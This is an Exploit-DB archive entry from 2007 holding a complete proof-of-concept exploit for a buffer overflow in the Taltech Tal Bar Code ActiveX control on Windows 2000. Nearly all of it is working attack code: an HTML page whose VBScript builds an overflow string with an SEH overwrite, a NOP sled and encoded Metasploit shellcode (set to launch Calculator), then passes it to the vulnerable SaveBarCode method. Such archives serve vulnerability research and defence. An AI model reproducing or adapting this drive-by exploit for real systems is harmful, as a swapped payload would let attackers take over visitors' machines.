Exploit-DB #3872
Description: Taltech Tal Bar Code - ActiveX Control Buffer Overflow
Type: remote
Platform: windows
Date: 2007-05-08
Author: Umesh Wanve

Exploit:
<!--

  ===============================================================================================
                        Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 08-05-2007
 
  Reference: http://www.securityfocus.com/archive/1/467822/30/0/threaded

  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
 
  Opens Calculator on the Vulnerable machine.
 
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke 

-->

<html>

<title>
 Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:C917E12F-9757-11D2-85DB-F01851C10000" > </OBJECT>

<script language="vbscript">

targetFile = "C:\Program Files\TAL Bar Code ActiveX Demo\TALBarCd.OCX"
prototype  = "Sub SaveBarCode ( ByVal FileName As String )"
memberName = "SaveBarCode"
progid     = "TALBarCode.TALBarCd"
argCount   = 1

<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")                

pointer_to_seh=unescape("%eb%06%90%90")

<!-- 0x750211a9  -- pop pop ret from ws2help.dll from windows2000 SP4  -->

seh_handler=unescape("%a9%11%02%75")   

                                

arg1=String(2488,"A")

arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop


target.SaveBarCode arg1


</script>
</body>
</html>

# milw0rm.com [2007-05-08]